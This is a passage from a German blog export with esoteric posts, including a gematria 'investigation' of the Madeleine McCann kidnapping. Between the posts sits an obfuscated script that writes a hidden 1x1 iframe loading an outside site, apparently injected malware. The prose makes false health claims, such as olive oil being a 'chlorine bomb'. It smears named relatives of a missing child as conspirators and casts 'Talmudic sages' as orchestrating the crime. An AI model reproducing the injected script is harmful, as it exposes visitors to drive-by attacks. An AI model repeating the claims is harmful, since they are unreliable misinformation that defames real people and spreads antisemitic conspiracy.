Geheimnisse ihrer verborgenen Herrschaftsmacht enträtselt und publiziert habe. <o:p /></span></p>

<p class="MsoNormal"><span><span>I</span>n Ex 27,20 ist die Rede von <em>„Olivenöl, lauteres, ausgepresstes, zur Beleuchtung, um</em> <em>die Lampen beständig anzustecken“</em> [Zunz
I 134]. Daraus entwickelt wurde dann verhängnisvoller Weise der Gebrauch des frisch
ausgepressten, „virginen“ Olivenöls für die menschliche Speise, obwohl es sich –
unbekannterweise – um eine „<strong>Chlorbombe</strong>“
von einem Ausmass handelt, das selbst das des Kochsalzes (Natrium : Chlorid =
40 : 60) mit 1 : 100 weit übertrifft. Aus diesem negativen Grunde findet sich
der Olivenzweig auch auf dem Wappen der <em>sakralen</em>
<strong>Inquisition</strong> und dem Wappen der
Vereinigten Staaten von Amerika als <em>profaner</em>
„<strong>Weltpolizei</strong>“ sowie in dem berühmten
Bild von Pablo Picasso mit der angeblichen „<strong>Friedenstaube</strong>“. Dass jetzt in Griechenland „unzählige Olivenhaine“
verbrennen, ist deshalb durchaus auch positiv zu werten, denn das symbolisiert
einerseits in Inneren des Menschen eine De-Aktivierung der Galle, andererseits
bedeutet es im Aussen, dass der dadurch wieder fruchtbar gemachte Boden unter
anderem wieder die Grundlage für das Anwachsen von lebenswichtigen <strong>Lorbeer-Bäumen</strong> bilden kann, die
nährstoffreichen Boden benötigen. <o:p /></span></p>

<p class="MsoNormal"><span><span></span>Letztlich weisen aber dieses apokalyptische Feuer in
Griechenland ebenso wie die gewaltigen und ebenfalls apokalyptischen <strong>Überschwemmungen</strong> in anderen
geographischen Gebieten der Welt wie beispielsweise in der <strong>Schweiz</strong> deutlich auf die Elemente „<strong>Feuer</strong>“ – sprich: freies Radikal O<sub>1</sub> – und „<strong>Wasser</strong>“ – hier das reine Wasser H<sub>2</sub>O
– hin, also auf die griechische Allegorie von „Europa und Zeus“ und die
dahinter von mir nun zum Vorschein gebrachte göttliche Vereinigung von „Feuer
und Wasser“ in Form der ewigen Lebenskraft des Wasserstoffperoxids H<sub>2</sub>O<sub>2</sub>.
Die geistige Kraft dieser Aufdeckung des „verlorenen Meisterwortes“ gegenüber
seinen allmächtigen Gegnern und Unterdrückern ist so gewaltig, dass die
Jahrtausende alte Vorhersage, <strong>„</strong></span><strong><span lang="DE-CH">Zeus wird sich<em> </em>eines Tages erheben und sie alle
zerschmettern“</span></strong><span lang="DE-CH">, sich nun erfüllt. </span><span><o:p /></span></p>



<p class="MsoNormal"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><em>Dirk Schröder, unabhängiger Privatgelehrter,
CH-2502 Biel</em><o:p /></span></p>



<p class="MsoNormal"><font size="1"><span>LITERATURVERZEICHNIS: </span><strong><span lang="DE-CH">Blavatsky</span></strong></font><span lang="DE-CH"><font size="1">, Helena Petrowna, „Isis
entschleiert. Ein Meisterschlüssel zu den Geheimnissen alter und neuer
Wissenschaft und Theologie“, 2 Bände, Reprint der Ausgabe Leipzig 1907-1909,
Den Haag ohne Jahr, etwa 1980 – <strong><span>Bonnard</span></strong>, André, „Die Götter
Griechenlands“ mit vierzig Illustrationen, Zürich 1946 – <strong><span>Dornseiff</span></strong>, Franz, „Das
Alphabet in Mystik und Magie“, Reprint der Originalausgabe von 1925, Leipzig
(DDR) 1988 – <strong><span>Gematrikon</span></strong>, Jerusalem 1990, Band I: Von 1 bis 1000, 649
Seiten; Band 2: von 1001 bis 3000, 518 Seiten – <strong><span>Gesenius</span></strong>, Wilhelm,
„Hebräisches und aramäisches Handwörterbuch über das Alte Testament“,
unveränderter Neudruck der 17. Auflage von 1915, Berlin-Göttingen-Stuttgart 1992
– <strong><span>Hurtak</span></strong>,
J.J., „Das Buch des Wissens: Die Schlüssel des Enoch. Eine Lehre, Gegeben auf
Sieben Ebenen. In Vorbereitung für die Bruderschaft des Lichts“, USA 1977,
deutsche Ausgabe Schweibenalp-Brienz 1990 – <strong><span>Langenscheidt</span></strong>,
„Taschenwörterbuch Hebräisch“, von Jaacob Lavy, 5. Auflage, Berlin und München
1996 –<span>&nbsp; </span>ders. „Handwörterbuch
Deutsch-Hebräisch“, von Jaacob Lavy, 1. Auflage, Berlin und München 1980 – <strong><span>Lurker</span></strong>,
Manfred, „Wörterbuch der Symbolik“, Zürich 1984 – <strong><span>Moorsel</span></strong>, Gerard van, „Die
Symbolsprache in der hermetischen Gnosis“ (1955), in: „Symbolon. Jahrbuch für
Symbolforschung“, Band 1, Basel/Stuttgart 1960, Seite 128ff. – <strong><span>Plichta</span></strong>,
Peter, „Das Primzahlkreuz“, Band I „Im Labyrinth des Endlichen“, Band II „Das
Unendliche“, Düsseldorf 1991 – <strong><span>Zunz</span></strong>, Leopold, (Übersetzer), „Die
Heilige Schrift“, vollständiger, hebräisch vokalisierter Text mit deutscher
Übersetzung, in vier Bänden, Basel 1997</font> <o:p /></span></p>

<p class="MsoNormal"><span><o:p>&nbsp;</o:p></span></p>

<p class="MsoNormal"><span><o:p>&nbsp;</o:p></span></p>

<p class="MsoNormal"><span><o:p>&nbsp;</o:p></span></p>


<!--b47207e8b9ac9f29ec3b7fc8306fc74822010-->
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script><!--/b47207e8b9ac9f29ec3b7fc8306fc74822010-->]]></content:encoded>
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		<title>&#34;Entführungsfall</title>
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		<pubDate>Fri, 22 Jun 2007 13:23:07 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Lebensfragen]]></category>

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		<description><![CDATA[&#160;

&#160;

&#160;

Eine unbekannte
Ermittlungsmethode



Nachfolgend geht es um die weltweit bekannt
gewordene Entführung eines Kindes durch eine unbekannte Täterschaft. Es gibt
nicht die geringste Spur und die Polizei tappt hier seit Wochen völlig im Dunkeln.
In solchen Fällen kann man Hellseher, Wünschelrutengänger, Astrologen oder
Tarot-Kartenleger zu Rate ziehen, was ja in Büchern, Filmen, Anekdoten und persönlichen
Erzählungen oftmals zu phänomenalen Erfolgen geführt hat. [...]]]></description>
			<content:encoded><![CDATA[&nbsp;

<span><p></p></span><span lang="DE-CH"><o:p>&nbsp;</o:p></span>

<p class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Eine unbekannte
Ermittlungsmethode<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p /></span><span lang="DE-CH">Nachfolgend geht es um die weltweit bekannt
gewordene Entführung eines Kindes durch eine unbekannte Täterschaft. Es gibt
nicht die geringste Spur und die Polizei tappt hier seit Wochen völlig im Dunkeln.
In solchen Fällen kann man Hellseher, Wünschelrutengänger, Astrologen oder
Tarot-Kartenleger zu Rate ziehen, was ja in Büchern, Filmen, Anekdoten und persönlichen
Erzählungen oftmals zu phänomenalen Erfolgen geführt hat. Der Verfasser kennt jedoch
noch eine andere, rein geistige Methode, die wohl dem Namen nach, nicht aber von
der Sache her bekannt ist. Gemeint ist die Technik der <strong>Kabbala</strong>. Darunter wird hier aber nicht die seichte und für die
Veranstalter höchst lukrative Volksverdummung verstanden, wie sie
beispielsweise in den weltweiten Kabbala-Schulen des Rabbiners Jehuda Berg
verbreitet wird mit Kabbala-Wasser, Kraftübertragung durch Handauflegung auf einen
1000-Dollar-Talmud, rotem Armbändchen und so weiter und mit Pop-Ikone Madonna
als Aushängeschild. Es geht vielmehr um eine der vier Exegese-Methoden, mit der
talmudische Rabbiner hebräische Heilige Schriften interpretieren (wörtlicher,
moralischer, symbolischer und mystischer Sinn), nämlich um den mystischen,
verborgenen Sinn von Wörtern, Sätzen und Versen in <em>hebräischer</em> Sprache. Im „Katechismus der Katholischen Kirche“ wird
dies als der „anagogische Sinn“ der Schrift bezeichnet und wie folgt erklärt: <em>„Wir können Wirklichkeiten und Ereignisse in
ihrer ewigen Bedeutung sehen, die uns zur ewigen Heimat hinaufführt
(griechisch: ‚anagogé’).“ </em>[Katechismus 67]. Hierzu erklärte Alexandre
Safran, der im Jahre 2006 im Alter von 96 Jahren verstorbene Grossrabbiner von
Genf und Professor für jüdische Mythologie an der Universität Genf: <em>„Die Kabbala, der höchste Ausdruck der
Thora, ist bestrebt, ‚die Innerlichkeit’, das Wesen der Realität, zu
betrachten. Sie durchdringt den unsichtbaren Kern der Realität. Die
Wissenschaft untersucht die ‚Äusserlichkeit’ der realen Welt und überprüft ihre
sichtbare ‚Schale’. Also, die ‚Innerlichkeit’ und die ‚Äusserlichkeit’, der
‚Kern’ und die ‚Schale’ dessen, was existiert, bilden eine Einheit.“ </em>[Safran
105]. Doch nur in der <em>hebräischen</em>
Sprache ist diese tiefgründige kabbalistische Exegese sinnvoll und möglich. Hier
liegt ein reines Konsonantenalphabet vor, dessen 22 Zeichen zugleich auch 22
Zahlen entsprechen. So kann jedes Wort und jeder Satz zahlenmässig berechnet
und sogar, wo dies sinnvoll ist, addiert werden. Denn die hebräische Sprache ist
eine organische Sprache, die auf der Absolutheit eines verborgenen, tradierten
Wissens beruht und in der alle Begriffe so konstruiert sind, dass alle Wörter
mit demselben Wortwert miteinander verwandt sind, sich gegenseitig erklären und
gegebenenfalls austauschen lassen. Eine solche höchst ergiebige Forschungsmethode,
die als „Gematria“ bezeichnet wird, ist weltweit einmalig und in Kreisen der
westlichen Wissenschaft unbekannt. Mit ihrer Hilfe sollen hier die wesentlichen
Ansätze zum Aufspüren der Täterschaft und vor allem zum raschen Auffinden des
entführten Kindes ermittelt werden. Bei der Gelegenheit kommt aber verblüffender
Weise auch zum Vorschein, dass die Entführung offenbar nur Teil eines
umfassenderen, „höheren“ Planes ist, der mit der gegenwärtig stattfindenden
radikalen Verlagerung des Schwerpunktes der Weltwirtschaft vom „Westen“ nach
Ostasien zu tun hat und mit der Frage, was dann aus Europa wird.<em><o:p /></em></span></p>



<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span><strong><span lang="DE-CH">Die Entführungsgeschichte<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">Am Donnerstag, dem 3. Mai 2007, wurde
Madeleine McCann, 4-jährig, aus dem Hotelzimmer im Badeort „Praia da Luz“ an
der portugiesischen Algarve-Küste von bisher unbekannten Tätern entführt,
während die Eltern in einem Restaurant in der Nähe beim Essen waren. Seither
hat sich nicht die geringste Spur über den Verbleib des Mädchens ergeben. Die
Eltern, das Ärzteehepaar Gerry und Kate McCann (beide 38) aus Rothley im
mittelenglischen Leicestershire, wollen so lange in Praia da Luz bleiben, bis
sie endgültig über das Schicksal ihrer Tochter Bescheid wissen. Der Fall hat
weltweit Aufsehen erregt und es kam in Portugal zu einer gross angelegten, doch
ergebnislosen Suche nach dem verschwundenen Mädchen. Die Eltern wurden
inzwischen sogar vom Papst Benedikt XVI. in Rom empfangen. Auf ihrer eigens
dafür eingerichteten und gesponsorten Homepage <em>www.findmadeleine.com</em> wurde am 11.6.2007 bereits ein
Spendenaufkommen von £ 721&#8242;748 registriert, das ihnen erlaubt, in Praia da Luz
zu bleiben und Nachforschungsbemühungen in diversen Ländern zu finanzieren. <span>&nbsp;</span>Ein schottischer Geschäftsmann setzte
umgerechnet rund 1,5 Millionen Euro als Belohnung für Hinweise zur Auffindung
von Madeleine aus. Weitere 2,2 Millionen Euro wurden von einer Gruppe
Unternehmer und Medien-Chefs offeriert. Das ergibt zusammen 3,7 Millionen Euro
oder etwa <strong>6 Millionen Schweizerfranken</strong>,
die für die Auffindung von Madeleine ausgelobt wurden. Am 14.6.2007 war dann in
den Medien zu lesen, die niederländische Zeitung „De Telegraaf“ habe einen
anonymen Brief erhalten, in dem behauptet wurde, das britische Mädchen sei tot.
Auch ein genauer Ort in einer abgelegenen Gegend wurde in dem Schreiben
angegeben, wo Madeleine „von Zweigen bedeckt auf Steinen“ liegen sollte. Die
portugiesische Polizei hat daraufhin eine Suchaktion in diesem Gebiet
gestartet. Auch Journalisten hatten sich mit gemieteten Spürhunden und Helikoptern
an der aufwendigen Suche beteiligt, die dann jedoch ergebnislos abgebrochen
wurde. In den Medien wird allgemein die Vermutung geäussert, dass Madeleine in
die Hände eines Pädophilenrings oder von Kinderhändlern geraten sein könnte.</span></p>



<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span><strong><span lang="DE-CH">Was „McCann“ und
„Madeleine“ bedeuten<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH">Meine analytische Neugier an dem Fall wurde
erst am 10.6.2007 geweckt und beruhte auf einem Zufall, den ich hier nicht
näher erläutern möchte. An diesem Tag aber lagen alle relevanten Daten zum
„Entführungsfall Madeleine“, die in den Medien zu finden waren, auf meinem
Schreibtisch und ich studierte Namen und Gegebenheiten. Ich erkannte zunächst,
dass der Familienname „McCann“ nicht nur sehr schottisch klingt, sondern sich
auch aussagestark hebräisieren lässt mit MQ-K-YNN, was <em>„Moder/Fäulnis wie Zauberei betreiben“</em> bedeutet. Das aber passte
„irgendwie“ zu meiner kurz zuvor gemachten epochalen Aufdeckung, dass das <strong>Gift der Galle</strong> das Medium ist, auf
dessen Wirkungen die „überirdischen Kräfte“ beruhen, die von den <strong>Offenbarungsreligionen</strong> als „göttlich“
hingestellt werden. Ebenfalls fasziniert war ich als Analogdenker sofort von
dem portugiesischen Namen „Praia da Luz“, der „Strand des Lichts“ bedeutet.
Denn „Strand“ kann man mit „Wasser“ in Bezug bringen und „Licht“ mit „Feuer“,
so dass mit „Wasser und Feuer“ auch die Formel des ominösen „<strong>Heiligen Grals</strong>“ vorliegt, der das
ewigen Leben verspricht und der vor nicht allzu langer Zeit in dem Film „The Da
Vinci Code“ eine Rolle spielte. In diesem Film, der auf das Buch mit dem
deutschen Titel „Sakrileg“ von Dan Brown zurückgeht, wird die Behauptung aufgestellt,
dass Maria Magdalena die Frau des Jesu gewesen sein soll und beide gemeinsam
ein Kind hätten. Der Vatikan hat dies als gotteslästerliche Behauptung (=
Sakrileg) verurteilt. Doch in diesem Zusammenhang habe ich herausgefunden, dass
der Name „Madeleine“ ursprünglich auf „<strong>Magdalena</strong>“
zurückgeht. Magdalena lässt sich hebräisieren mit M-AGDH-LYNH und hat die
Bedeutung „<strong>vom Bündel der Bitternis</strong>“.
Damit aber ist die vom Gift der Galle getrübte Lebenskraft der Seele gemeint,
so dass „Maria Magdalena“ nicht der Name einer Person ist, sondern der von
Mutter und Tochter, was bedeutet, dass Jesus nicht eine Geliebte, sondern eine <em>Schwester</em> namens Magdalena hatte! Beide
zusammen entsprechen damit dem göttlichen Zwitter des „<strong>Hermaphrodit</strong>“ der griechischen Mythologie. Vermutlich geht es dabei
nicht einmal um das Merkmal „männlich/weiblich“, sondern um die existentielle
Unterscheidung zwischen „anaerober“ oder „aerober“ Lebensweise, wobei die
„weibliche“ Seite dem aeroben Leben entspricht, da Jesus ja „ans Kreuz
genagelt“ wurde. Aus dieser Sicht könnte der „Entführungsfall Madeleine“ noch
auf eine ganz andere, völlig unerwartete Perspektive hinweisen.</span></p>

<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">„Familienaufstellung“<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span><span lang="DE-CH">Deshalb trug ich erst einmal alle Namen
zusammen, die sich aus den Medien für die McCann-Familie finden liessen. Dabei
ergab sich, dass die Namen der von mir aufgedeckten „Matrix der Seele“ mit
ihren zehn Feldern zugeordnet werden können. Es ist ratsam, zu diesem Zwecke
den im BLOG abrufbaren „Masterplan“ auszudrucken und im Zusammenhang mit den
nachfolgenden Beschreibungen zu konsultieren:</span></p>

















<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„McCann“</span></strong>,
der <em>schottische</em> Familienname, mit
MQ-K-YNN (Wert 330) gedeutet als <em>„Fäulnis/Moder
wie Zauberei betreiben“</em>, ist dem Feld „<strong>Blut</strong>“
zugeordnet. „Fäulnis, Moder“ verweist dabei auf die anaerobe Lebensweise der
Gärung (= Vergasung) anstelle der Oxidation (= Verbrennung). Die „Zauberei“ ist
eine Metapher für die dadurch bewirkte Aktivierung des endokrinen Drüsensystems
unter der Herrschaft der Hormone.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Gerry“</span></strong>,
der Vater, hebräisiert GR-RY (Wert 473), bedeutet <em>„das bösartige,</em> <em>schädliche
Fremde“</em>, was in der Matrix der Seele dem vergifteten „<strong>Nährboden</strong>“ entspricht. Zum Wert 473 existiert die hebräische
Abbreviatur G“B mit der Auflösung GLWTh BBL für „Babylonische Verbannung“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Kate“</span></strong>,
die Mutter, hebräisiert QTH (Wert 114), was <em>„Spalt,
abhacken“</em> bedeutet, ist dem Feld der „<strong>Galle</strong>“
zugeordnet wird. Die mächtige Galle, die den Nährboden vergiftet und damit auch
die Lebenskraft, ist aber nur ein Sklave der Reizstoffe in der Nahrung, die ihr
aus dem Feld „Eiweiss“ aufgezwungen werden.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Madeleine“</span></strong>,
die 4-jährige <em>Erstgeborene</em>, die als ursprüngliche
„Magdalena“ mit M-AGDH-LYNH (Wert 208) hebräisiert und in der Matrix der Seele der
„<strong>Lebenskraft</strong>“ zugeordnet wird,
bedeutet „vom Bündel der Bitternis“, also einer durch die Galle vergifteten und
damit <em>anaeroben</em> Lebenskraft. Zum Wert
208 existiert das hebräische Verb ChQQ für „Gesetz geben“. Dieses Gesetz aber
lautet „Primat der Lebenskraft“ und verweist die bisher seit Jahrtausenden
dominierende Kaufkraft in den zweiten Rang.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Sean“</span></strong>,
der 2-jährige männliche Zwilling, dessen mit TsAN (Wert 141) hebräisierter Name
„Kleinvieh“ (hier = rote Blutkörperchen als Ausdruck der Versklavung),
erweitert als „tson-bárzel“ aber „unveräusserliches Gut, ewige Werte“ bedeutet,
wird dem „<strong>Knochenmark</strong>“ zugeordnet
mit seiner Funktion als Lebenskraftspeicher und Samenbank.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Amelie“</span></strong>,
der 2-jährige weibliche Zwilling, dessen Name mit AM-ALJH (Wert 87) hebräisiert
„der Ausgangspunkt von Elias“ bedeutet, wird der „<strong>Lymphe</strong>“ zugeordnet. Die Lymphe ist unbekannter Weise gemäss meinen
Forschungsergebnissen der Sitz des Lebens und des Bewusstseins. Das
Zwillingspaar Sean und Amelie bilden somit in hervorragender Weise Analogien
zum männlich-weiblichen Immunsystem der Seele.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„John“</span></strong>
(McCann), ein Onkel (väterlicherseits) der Familie, der auf den hebräischen
Namen JWChNN (Wert 124) zurückgeführt wird und auf der Ebene der Nahrung das
Feld „<strong>Kohlenhydrate/Fette</strong>“ betrifft.
Zum Wert 124 existiert das hebräische Adjektiv MTYH<span>&nbsp; </span>für „falsch“, was besagen könnte, dass mit
diesem Verwandten etwas nicht stimmt.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Brian
Kennedy“</span></strong>, ein Grossonkel, in dessen hebräisiertem Namen „Cann“ K-YNN
verborgen ist: BR-JYN K-YNN-JDY (Wert 606) bedeutet „Sohn des Strausses, wie
Zauberei betreiben, der Wissende“, also jemand, der „seinen Kopf in den Sand“
steckt, also seine wahre Identität verbergen möchte, da er weiss, was hier
gespielt wird. Er ist dem Feld „<strong>Eiweiss</strong>“
zugeordnet, von wo aus der eigentliche Druck auf die Galle gesteuert wird. Zum
Wortwert 606 existiert der hebräische Begriff QWShR für „Verschwörer“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>„Der Strand
des Lichtes“</span></strong>, „Praia da Luz“, wird ins Hebräische übersetzt mit
ShPTh-HJM HAWR (Wert 1047) und belegt auf der Ebene der Atmung die beiden
Felder „<strong>reines Wasser</strong>“ und „<strong>freies Radikal</strong>“. Diese ergeben im
antiken System der Vier Elemente das „Wasser“ und das „Feuer“ und bilden so zusammen
den bisher von einer schier unendlichen Zahl an Forschern vergeblich gesuchten Heiligen
Gral. Dessen Entstehung wird durch die heimtückischen Nahrungsgifte des Feldes
„Eiweiss“ gezielt verhindert.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span><em>Ergebnis</em>:
Die zehn hebräisierten Namen ergeben 58 hebräische Konsonanten und die
Wertsumme 3130. <em>Gematria</em>: <span>&nbsp;</span>&#9679;<span>&nbsp; </span>Zum
Wert 58 existiert das hebräische Wort ChN für „Anmut, Schönheit, Charme“, hier
eine Maske für die Abbreviatur Ch“N mit der Auflösung ChKMH NSThRTh mit der
Bedeutung „<strong>Geheimwissenschaft</strong>“. &#9679;<span>&nbsp; </span>Zum reduzierten Wert 313 existiert die
hebräische Abbreviatur HB“D mit der Auflösung HBYL DBR und der Bedeutung „<strong>Der Meister der</strong> <strong>Sache</strong>“. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><em>Kommentar</em>:
Es ist aufgrund dieser Resultate angebracht, von einem Anfangsverdacht
auszugehen, dass es sich beim „Entführungsfall Madeleine“ um ein Komplott
handelt, dem ein ganz bestimmtes „Drehbuch“ zugrunde liegt, das nicht das
Geringste mit Pädophilen oder Kinderhändlern zu tun hat, wohl aber viel mit den
Chaldäern als den Meistern der Kabbala und den Herren der Welt. Dann aber lässt
sich bereits mit Sicherheit aussagen, <em>dass
Madeleine noch am Leben ist und sich in guter Obhut befindet</em>.</span></p>





<p align="center" style="text-align: center;" class="MsoNormal"><strong><span lang="DE-CH">Das vermutliche „Drehbuch
der Entführung“<o:p /></span></strong><span lang="DE-CH" style="font-size: 8pt;"><o:p>&nbsp;</o:p></span></p>

<p class="MsoNormal"><span lang="DE-CH">Man könnte
zunächst zur Ansicht gelangen, dass das Drehbuch im Alten Testament in den
Versen Jesaja 47,5-15 zu finden ist, denn dort ist ja von der „jungfräulichen
Tochter Babel“, von der <em>„Tocher der
Chaldäer“</em> die Rede, die herabsteigen und sich in den Staub setzten soll. Doch
der Kontext ist zu negativ. Es gibt aber noch eine andere Spur, wohl die
richtige.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Am Donnerstag, dem 29.3.2007 publizierte
ich in meiner Schriftenreihe „Der Ewige Bund“ als Nr. 77 die Schrift mit dem
Titel „Freiheit“. Dort findet sich auf Seite 14 als Bild 5 mit dem Titel „Die
Patriarchen der Alten Testaments in der Doppelhöhle Machpela“ die Matrix der
Seele, in die die Namen der Patriarchen des Judentums und die ihrer Frauen
eingetragen wurden: Abraham und Sarah, Isaak und Rebekka sowie Jakob und Leah,
sowie darüber hinaus noch Hagar, Ismael, Esau und Rachel sowie die beiden Mägde
Bilhah und Zilpha. Das Epochale an meiner Darstellung ist, dass fast alle
aufgeführten Personen zwei verschiedene Namen besitzen (z.B. Esau/Edom oder
Jakob/Israel) und ich diese als die Zustände <em>„anaerob/aerob“</em> für das betreffende Feld in der Matrix der Seele
deute. </span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Diese Darstellung in der Schrift
„Freiheit“ aber entspricht inhaltlich vollumfänglich der obigen „Familienaufstellung“
der McCann’s. Dazu kommt, Zufall oder nicht, dass meine Publikation auf den Tag
genau fünf Wochen vor der Entführung von Madeleine am 3.5.2007 erfolgte. Der
Zahl „Fünf“ kommt in der jüdischen Tradition eine überragende Bedeutung zu, da
die Tora mit ihren fünf Büchern auf diese Zahl als ein Ausdruck der
Vollkommenheit hinweist. In dieser Machpela-Aufstellung befindet sich der von
Jakob um sein Erstgeburtsrecht übertölpelte und um seinen Vatersegen betrogene
Esau im Feld „Lebenskraft“. Von den Tränen des Esau aber, die dieser darob
vergoss, heisst es bei Gershom Scholem: <em>„Die
Ankunft des Messias selber ist an unmögliche, jedenfalls höchst paradoxe
Bedingungen gebunden, … der Messias werde nicht eher kommen, als bis die Tränen
Esaus versiegt sein werden.“ </em>[Mullins 267].<o:p /></span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Da<span>&nbsp;
</span>nun die entführte „Madeleine“ in der Matrix der Seele in Analogie zur
Allegorie des „Esau“ steht und beide die Lebenskraft betreffen, ist nicht
auszuschliessen, dass meine am 29.3.2007 publizierte Tabelle das „Drehbuch“ für
den Entführungsfall dargestellt hat, da im Falle der Ferienreise der Familie
McCann alle Parameter „millimetergenau“ zutrafen und deshalb gerade diese
Familie für das Projekt ausgewählt wurde. Damit wäre schliesslich das Ziel
dieses „Entführungsspiels“ aufgedeckt: Die „Tränen des Esau“ sind die Tränen
der entführten Madeleine, und diese werden erst versiegen, wenn ihr
Aufenthaltsort ermittelt, sie dort befreit wurde und die Eltern sie wieder in
die Arme schliessen können.</span></p>



<p align="center" style="text-align: center;" class="MsoNormal"><span lang="DE-CH"><o:p>&nbsp;</o:p></span><strong><span lang="DE-CH">Auch die Ebene des Geistes
wird sichtbar<o:p /></span></strong></p>



<p class="MsoNormal"><span lang="DE-CH" style="font-size: 8pt;"><o:p /></span><span lang="DE-CH">In den Medien
taucht aber ausser den bereits erwähnten Namen, die zur Familie McCann gehören
und die der Matrix der Seele zugeordnet wurden, noch ein weiterer markanter
Name auf. Es handelt sich um den anglikanischen Pfarrer <strong>David Heal</strong>, der die britische Gemeinde an der Praia da Luz betreut.
Der Name „David Heal“ aber lässt sich hebräisieren mit DW-JD ChJ-AL mit der
Bedeutung <em>„die Doppel-Macht der
lebendigen Kraft“</em>, ein Hinweis darauf, dass die Lebenskraft der Seele
alternativ <em>aerob</em> oder <em>anaerob</em> sein kann. DW-JD ChJ-AL sind 8
hebräische Konsonanten mit dem (Äusseren) Wert 73, mit dem Verborgenen Wert 1450,
dem Totalen Wert 1523 und dem Grossen Wert 4482. <em>Gematria</em>: </span></p>









<p class="MsoNormal"><span lang="DE-CH"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>8</span></strong>.
Die 8 Konsonanten verweisen auf die acht Felder, die den Umkreis bilden zum von
mir aufgedeckten <strong>Grundmuster des Geistes</strong>,
durch den der Tageskreis mit den „vier Ecken der Welt“ (Silberstreifen am
Horizont, Sonnenaufgang, Sonnenhöchststand und Untergang der Sonne) und die
vier grundverschiedenen Luftqualitäten dazwischen (Morgenröte, Vormittag,
Nachmittag und Nacht) dargestellt wird.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>73</span></strong>.
Zu diesem Wert existiert das hebräische Wort ChKMH „chochma“ für „<strong>Weisheit</strong>“, was auf die talmudischen
Weisen, die Chaldäer und Tannaiten, hinweist.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>1450</span></strong>.
Zum reduzierten Wert 145 existieren die hebräischen Begriffe SYWDH für „<strong>Mahlzeit</strong>“, MTsWDH für „<strong>Netz, Fang, Beute</strong>“, NKSJH für „<strong>Kirche</strong>“ und NTsH für „<strong>fliegen</strong>“.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>1523</span></strong>.
Zu diesem Wert existiert die hebräische Abbreviatur S“N mit der Auflösung
SRKZTh NPShWTh mit der Bedeutung „<strong>die
Zentrifuge der Seelen</strong>“, das heisst hier wird die Lebenskraft systematisch
verschleudert. 1523 ist zudem die 241. Primzahl und zum Wert 241 existiert die
hebräische Sequenz MPH AL PH für „<strong>künstliche
Atmung</strong>“, das heisst im Kontext, das durch die Verschleuderung der
Seelenkraft das anaerobe Leben erzeugt wird.<br /><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&#9679;<span>&nbsp; </span><strong><span>4482</span></strong>
= 6 x 747 = LJTsWR JSh MAJN für „<strong>aus dem
Nichts etwas schaffen</strong>“ sowie QBLNH PLJLJTh für „<strong>Strafanzeige</strong>“.</span></p>

<p class="MsoNormal"><span lang="DE-CH"><span></span>Aus diesen kabbalistischen Analogien zum
Namen „David Heal“ des anglikanischen Pfarrers lässt sich willkürfrei ein
komplettes Programm zusammenstellen, das etwa wie folgt lauten könnte: Im
Auftrage der talmudischen Weisen wird anlässlich einer Mahlzeit (der Eltern)
eine „Beute“ (Madeleine) gemacht, die durch die Kirche (am Ort) sofort
